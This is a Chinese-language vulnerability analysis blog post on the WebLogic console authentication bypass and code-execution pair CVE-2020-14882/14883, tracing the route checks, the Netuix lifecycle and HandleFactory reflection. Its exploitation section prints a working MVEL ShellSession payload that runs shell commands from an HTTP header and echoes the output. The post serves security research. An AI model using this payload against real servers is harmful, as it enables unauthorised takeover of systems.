Lucifaer's Blog.

WebLogic one GET request RCE分析(CVE-2020-14882+CVE-2020-14883)

Word count: 4,439 / Reading time: 18 min
2020/11/25 Share

该漏洞其实是月初就分析完的,但是因为各种事情没有时间将其总结成文本所以拖到今天。本文主要是和@Hu3sky共同分析结果的记录,同时也是对CVE-2020-14882:Weblogic Console 权限绕过深入解析的一些补充。

这个漏洞想要挖掘出来真的挺难的,其利用的过程相当精彩,值得学习。

0x01 漏洞概述

Weblogic官方在10月补丁中修复了CVE-2020-14882CVE-2020-14883两个漏洞,这两个漏洞都位于Weblogic Console及控制台组件中,两个漏洞组合利用允许远程攻击者通过http进行网络请求,从而攻击Weblogic服务器,最终远程攻击者可以利用该漏洞在未授权的情况下完全接管Weblogic服务器。

在经过diff后,可以定位到漏洞触发点:

CVE-2020-14883:com.bea.console.handles.HandleFactory

CVE-2020-14882:com.bea.console.utils.MBeanUtilsInitSingleFileServlet

这里先把结论放出来:

  • CVE-2020-14882:这个漏洞起到的作用可以简单理解为目录穿越使Netuix渲染后台页面
  • CVE-2020-14883:为登录后的一处代码执行点

0x02 漏洞分析

该漏洞分为三部分:

  • 路由鉴权
  • Netuix框架完成执行流转换
  • HandleFactory完成代码执行

前两部分为CVE-2020-14882,后面一部分为CVE-2020-14883。本文将从上而下将三部分进行串流分析,主要采用动态跟踪。

2.1 路由鉴权

在具体分析路由鉴权前,需要先要寻找一下处理路由的servlet是哪个。

2.1.1 寻找处理路由的servlet

Weblogicconsole组件对应着Weblogic Server启动后的管理平台(即/console路由所对应的组件),其对应着一个webapp,所以想要理清路由所对应的servlet映射关系,就需要去看一下相关的配置文件。配置文件为wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml

正常登录后的路由情况为:

会访问一个console.portal文件,对应在web.xml中看一下相关的路由处理情况:

可以看到对应的servletAppManagerServlet

所以先在AppManagerServlet下断调试一下路径鉴权或者说是权限鉴定的流程。

跟进一下初始化流程:

1
2
3
weblogic.servlet.AsyncInitServlet#init ->
weblogic.servlet.AsyncInitServlet#initDelegate ->
weblogic.servlet.AsyncInitServlet#createDelegate

这里的this.SERVLET_CLASS_NAME也就是xml中的:

所以初始化过程实际上是实例化了com.bea.console.utils.MBeanUtilsInitSingleFileServlet,并调用其init()方法,跟进看一下其所对应的处理方法:

注意红框所标识的内容,oracle针对CVE-2020-14882的修补也是在这里针对url加了一个黑名单,并过了一遍黑名单:

继续跟进父类SingleFileServletserver中:

在完成AppContext初始化后,即进入真的处理请求的UIServlet

在此处完成后续的请求处理。

2.1.2 路由映射及路由权限校验

在这里我们先不向后跟进,在此处下个断点向上跟踪一下,看一下Weblogic路由映射及路由鉴权在哪里触发。调用栈如下:

可以看到在weblogic.servlet.internal.WebAppServletContext中完成的权限校验。跟进具体看一下:

weblogic.servlet.internal.WebAppServletContext#doSecuredExecute方法的流程中会调用checkAccess方法来进行权限校验,跟进看一下:

当首次请求进入后checkAllResources变量为false,所以跟进getConstraint方法:

这里的constraintsMap中保存着一份路由表:

这份路由表对应的是web.xml中的security-constraint

注意在针对/的路由处理是限定了需要经过认证的,而针对:

  • /images/*
  • /common/*
  • /css/*

路径的访问是没有认证约束的。对应到代码中,就是说当访问的路由符合该路由映射表中的情况时,将根据配置设置rcForAllMethods变量,也就是最终返回的resourceConstraint:

这里的unrestricted变量代表该路由是否为非受限路由,在后续鉴权时该变量会起关键性作用。当请求的路由是路由表中的路由时,该变量都为true。当完成resourceConstraint设置后,就会进入isAuthorized方法进行权限鉴定:

这里将执行流转换到CertSecurityModule#checkUserPerm方法中:

首先会根据session来确定是否需要重新登录,之后会判断是否为指定路由,如果是未指定的路由,则保护资源,由于我们这里访问的路由为/css,在指定的路由表中,所以这里是false。重点看hasPermission方法,这里会用到resourceConstraint中的unrestricted

这里首先会判断当前的账户是否为Admin账户,当前应用是否为内部引用等,若都不满足,则会判断是否设置了完整安全路由选项,这里是false。接下来会判断该路由是否为非受限的路由,如果是,则返回true。由于我们根据路由表返回设置的unrestricted变量为true,即为非受限的路由,所以这样就通过了路由鉴权,导致了未授权访问相关资源。

2.1.3 请求分派

当完成了路由鉴权后,会根据web.xml中的设置,将访问的路由映射到相应的servlet进行请求处理:

因为我们后续的流程在UIServlet中进行,所以可以用于绕过路由鉴权的路由即为:

  • /css/*
  • /images/*

checkAccess方法返回为true后,会根据配置返回对应的servlet并调用service方法。

首先会初始化ServletInvocationAction对象:

subject.run(action)一路向下跟,在weblogic.security.acl.internal.AuthenticatedSubject#doAs中调用actionrun方法,即跟进ServletInvocationAction#run

在调用execute方法前,会首先判断是否存在拦截器及请求监听器,若存在则执行对应的拦截器执行链,否则执行stub.execute()方法。跟进stub.execute()方法,即weblogic.servlet.internal.ServletStubImpl#execute

这里会调用getServlet()方法返回对应的servlet

2.1.3 总结

从上面的分析可知,想要访问非受限的资源,就需要构造符合路由表中的路由。从此我们也可以看出这里并非一个权限绕过操作,而是一个正常的访问非受限资源(如css文件这类资源)的操作,想要搞清楚为什么能因此而触发一个登陆后代码执行操作,就需要跟进UIServlet的具体处理流程中。

2.2 Netuix框架完成执行流转换

weblogic.servlet.AsyncInitServlet为处理Netuix相关请求的servlet,根据2.1.1中的分析,我们可以知道其真实的处理逻辑是在com.bea.netuix.servlets.manager.UIServlet中完成的:

对于UIServlet来说,处理GET请求的逻辑最终也会在doPost方法中。上图红框中所标明的两处即为UIServlet的核心功能:

  • 建立UIContext,或者说是通过解析.portal文件建立渲染模板的上下文
  • 完成模板渲染的生命周期

接下来也会以这两点为核心具体叙述Netuix框架是如何完成执行流的转换的。

2.2.1 建立UIContext

建立UIContext的主要流程在createUIContext方法中:

红框所标注的两行为关键流程。首先跟进UIContextFactory.createUIContext,这里主要完成了UIContext的初始化:

在执行setServletRequest方法时,会根据请求的参数对postback成员变量进行设置:

可以看到:

  • 请求类型为POST请求,会将postback设置为true
  • 存在_nfpb参数的GET请求,会根据参数的值设置postback的值

postback变量在后续执行UIContext生命周期时会对流程产生影响。这里先记一下。

完成UIContext的初始化过程后,接下来就是解析.portal文件,将解析结果填充到UIContext中。这一部分的流程在getTree()方法中:

这里有一个需要注意的点,这里会对请求的路径进行二次URLDecode,这也就是为什么构造的poc是需要二次URL编码的原因。

跟进processStream()方法,具体的解析逻辑就在这里:

可以看到经过二次URLDecode后的请求路径在此造成了目录穿越的效果。

com.bea.netuix.servlets.manager.SingleFileProcessor#getMergedControlFromFile中首先会初始化SAX解析器,然后根据传入的文件路径获取到对应的.portal文件,并利用SAX解析器解析该.portal文件:

getMergedControlFromFile()方法最终会调用getSourceFromDisk()方法根据传入的路径获取consoleapp/webapp目录下相应的文件即:

  • console.portal
  • consolejndi.portal

在利用SAX解析器解析完该portal文件后,生成语法树,也就是getTree()返回的ControlTreeRoot对象,并将语法树置入UIContext中。

至此就完成了UIContext的初始化流程。

2.2.2 完成模板渲染的生命周期

在完成了UIContext初始化流程之后,便会调用runLifecycle()方法运行生命周期,开始根据请求参数完成模板渲染。

跟进runLifecycle()

com.bea.netuix.nf.Lifecycle#run中,需要注意这个条件判断,这里会影响到后面的流程调用。

根据2.2.1中的分析我们知道当GET请求存在_nfpb参数时,会根据参数的值设置postback的值,outbound值默认为false

postback值只会影响是否会执行runInbound()流程。在具体跟踪了runInbound()流程后,可以发现其处理逻辑是相同的:

而关键点就在其VisitorType是不同的,这会在processLifecycles()流程中影响具体的节点遍历顺序:

com.bea.netuix.nf.Lifecycle中,我们可以看到inboundoutbound的区别:

VisitorType具体配置为:

所以由postback会衍生出两种不同的执行流。

2.2.3 Netuix生命周期及控件间的关系

在具体跟进两种执行流前,首先介绍一下Netuix的解析流程,在其官方介绍页面上有对生命周期方法执行顺序及netuix控件解析流程的详细描述,这里将其内容简要总结一下。

Netuix控件树的生命周期其实就是按顺序所执行的一组方法,这组方法的执行顺序如下:

1
2
3
4
5
6
7
8
init()
loadState()
handlePostbackData()
raiseChangeEvents()
preRender()
saveState()
render()
dispose()

其中的方法与上面所看到的inboundoutbound相同。这些方法在节点间是以深度优先的方式执行,即按照顺序会执行所有控件的init(),之后才会重新遍历执行loadState()方法。

在说完了每个控件的生命周期后,再来说一下控件间的关系:

根据这张表我们来对应看一下consolejndi.portal

红框所标注的区域是完美符合上表所描述的关系的。向上寻找Portlet,看加载了哪些外部控件:

跟进该文件:

这里调用了strutsContent控件,同时标注了具体的actionMessagesAction。可以通过该actionstruts-config.xml中找到其所对应的类:

2.2.4 总结

通过上面的分析,可以看到Netuix将执行流从模板渲染转换到其各个组件的渲染之中。所以最终触发代码执行的只和组件的生命周期有关,即只和节点有关。

在经过分析后,我列举三个最通用的组件:

  • strutsConent
  • Page
  • Portlet

由于无论postback为何值,最终都会执行outbound流程,所以接下来对于组件生命周期的分析,我都以outbound流程来说明。

2.3 条条大路通罗马——HandleFactory完成代码执行

根据上面的分析,outbound的生命周期为:

1
2
3
preRender() 
saveState()
render()

所以首先执行的方法是preRender,跟进看一下com.bea.netuix.nf.ControlTreeWalker#walk

ControlVisitor visit = root.getVisitorForLifecycle(vt);这里将获取ControlLifecycle.preRenderVisitor以深度优先的方式遍历所有节点,并调用visit()方法。跟进看一下com.bea.netuix.nf.ControlVisitor#visit

就如上面所说,关键逻辑还是调用传入控件的preRender()方法。接下来就会按照2.2.3中的所介绍的控件间关系进行深度遍历,在遍历到不同组件时会利用不同的方式触发代码执行流程。

2.3.1 strutsContent

consolejndi.portal为例,当节点为portletInstance时,会触发外部组件调用,及会跟进该文件,解析Content节点:

此处处理的节点为strutsContent,即controlstrutsContent。跟进com.bea.netuix.servlets.controls.content.StrutsContent#preRender方法:

没有相关的方法,跟进其父类com.bea.netuix.servlets.controls.content.NetuiContent#preRender

this.getScopedContentStub()调用栈如下:

1
2
3
com.bea.netuix.servlets.controls.content.StrutsContent#getScopedContentStub ->
com.bea.netuix.servlets.controls.content.StrutsContent.StrutsContentUrlRewriter初始化 ->
com.bea.portlet.adapter.scopedcontent.AdapterFactory#getInstance(com.bea.struts.adapter.util.rewriter.StrutsURLRewriter)

最终通过适配工厂返回一个StrutsStubImpl

所以跟进com.bea.portlet.adapter.scopedcontent.StrutsStubImpl#render

renderInternal()方法中,完成内部渲染的工作,包括:

  • 初始化Action及其servlet,并设置解析器,最终调用executeAction执行
  • 初始化并设置请求监听器,完成请求接收

跟进executeAction()方法:

这里会调用PageFlowUtils#strutsLookup方法,该方法最终将会触发负责处理针对Action请求的servlet的doGet方法,调用链如下:

1
2
3
4
5
6
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#strutsLookup
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#getInstance
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#instantiateStrutsDelegate
com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate#strutsLookupInternal
org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[])
org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[], boolean)

这里有两个点需要注意,第一个点是获取ActionServlet的过程,这一部分其实并不需要去跟踪代码,可以通过直接看web.xml找到:

关于AsyncInitServlet的初始化流程在2.1.1中有详细的跟踪,这里就不赘述了。这里可以看出真正的处理逻辑在com.bea.console.internal.ConsoleActionServlet中,直接跟进看com.bea.console.internal.ConsoleActionServlet#doGet:

一路向下跟进,调用栈如下:

1
2
3
4
5
6
7
8
9
10
org.apache.struts.action.ActionServlet#process ->
com.bea.console.internal.ConsoleActionServlet#process ->
org.apache.beehive.netui.pageflow.PageFlowActionServlet#process ->
org.apache.beehive.netui.pageflow.AutoRegisterActionServlet#process ->
org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#process ->
org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#processInternal ->
org.apache.struts.action.RequestProcessor#process ->
com.bea.console.internal.ConsolePageFlowRequestProcessor#processActionPerform ->
com.bea.console.utils.HandleUtils#getHandleContextFromRequest ->
com.bea.console.utils.HandleUtils#handleFromQueryString

重点看一下com.bea.console.utils.HandleUtils#handleFromQueryString

首先会将请求的参数进行解析,并映射到Map中,之后遍历所有的参数,当参数以handle结尾,则将其转换为Handle类型的对象。所以跟踪流程到com.bea.console.handles.HandleConverter#convert

这里会将请求中以handle结尾的参数值作为local,直接传入HandleFactory.getHandle()方法中,在该方法中将传入的参数值进行处理,直接完成反射实例化操作:

2.3.2 page

当解析Page组件时,control.preRender()实际将会调用com.bea.netuix.servlets.controls.page.Page#preRender

接下来就是一路向上,调用父类的preRender方法,调用栈如下:

1
2
3
4
com.bea.netuix.servlets.controls.page.Page#preRender ->
com.bea.netuix.servlets.controls.window.Window#preRender ->
com.bea.netuix.servlets.controls.AdministeredBackableControl#preRender ->
com.bea.netuix.servlets.controls.Backable.Impl#preRender

com.bea.netuix.servlets.controls.Backable.Impl#preRender中将会获取jspbacking,并调用其preRender方法:

consolejndi.portal为例,其中的一个page组件描述如下:

此处会根据book组件中所定义的title获取其backingFile的具体引用,在这里为com.bea.console.utils.JndiViewerBackingFile

接下来的调用栈为:

1
2
3
4
com.bea.console.utils.GeneralBackingFile#preRender ->
com.bea.console.utils.GeneralBackingFile#localizeTitle(com.bea.netuix.servlets.controls.window.backing.WindowBackingContext, javax.servlet.http.HttpServletRequest) ->
com.bea.console.utils.GeneralBackingFile#getDisplayName ->
com.bea.console.utils.HandleUtils#getHandleContextFromRequest

调用至此已经和2.3.1中提到的调用路径相同了,在此不再赘述。

2.3.3 portlet

portlet组件执行流与page组件基本完全相同,唯一区别点在于backingFile不同。以consolejndi.portal为例:

引用外部组件,跟进jnditree.portlet

跟进看一下:

调用父类com.bea.console.utils.PortletBackingFile#preRender,同样,都会调用父类的localizeTitle()方法:

这里也会调用com.bea.console.utils.GeneralBackingFile#localizeTitle,之后的流程与2.3.2中的流程完全相同。

2.3.4 总结

根据以上分析,我们可以看到除了strutsContent外,其他几种组件的应用方式都比较类似,关键点为两个:

  • 组件的preRender流程中会调用到Backable#preRender方法
  • backingFileGeneralBackingFile子类,同时其preRender方法会调用父类localizeTitle方法

想要寻找其他的组件可以看一下继承树:

红框所标注的即为2.3.2与2.3.3中所分析到的调用过程。

0x03 漏洞利用

经过0x02的分析,我们不难看出该漏洞和其他传统的越权漏洞是有很大区别的:

  1. 所谓的认证绕过是通过请求原本无需认证的资源路径
  2. 在1的基础上利用../造成目录穿越,使Netuix在初始化语法树时读取对应的后台模板文件
  3. Netuix生命周期中通过组件对应的处理流程触发Handle流程
  4. 组件处理流程中会将请求中以handle结尾的参数的值作为参数传入HandleFactory#getHandle方法中,完成反射调用

所以利用方式也显而易见,这里利用@77ca1k1k1的poc做展示:

poc:

1
com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

0x04 Reference

https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html
@77ca1k1k1关于回显的研究

CATALOG
  1. 1. 0x01 漏洞概述
  2. 2. 0x02 漏洞分析
    1. 2.1. 2.1 路由鉴权
      1. 2.1.1. 2.1.1 寻找处理路由的servlet
      2. 2.1.2. 2.1.2 路由映射及路由权限校验
      3. 2.1.3. 2.1.3 请求分派
      4. 2.1.4. 2.1.3 总结
    2. 2.2. 2.2 Netuix框架完成执行流转换
      1. 2.2.1. 2.2.1 建立UIContext
      2. 2.2.2. 2.2.2 完成模板渲染的生命周期
      3. 2.2.3. 2.2.3 Netuix生命周期及控件间的关系
      4. 2.2.4. 2.2.4 总结
    3. 2.3. 2.3 条条大路通罗马——HandleFactory完成代码执行
      1. 2.3.1. 2.3.1 strutsContent
      2. 2.3.2. 2.3.2 page
      3. 2.3.3. 2.3.3 portlet
      4. 2.3.4. 2.3.4 总结
  3. 3. 0x03 漏洞利用
  4. 4. 0x04 Reference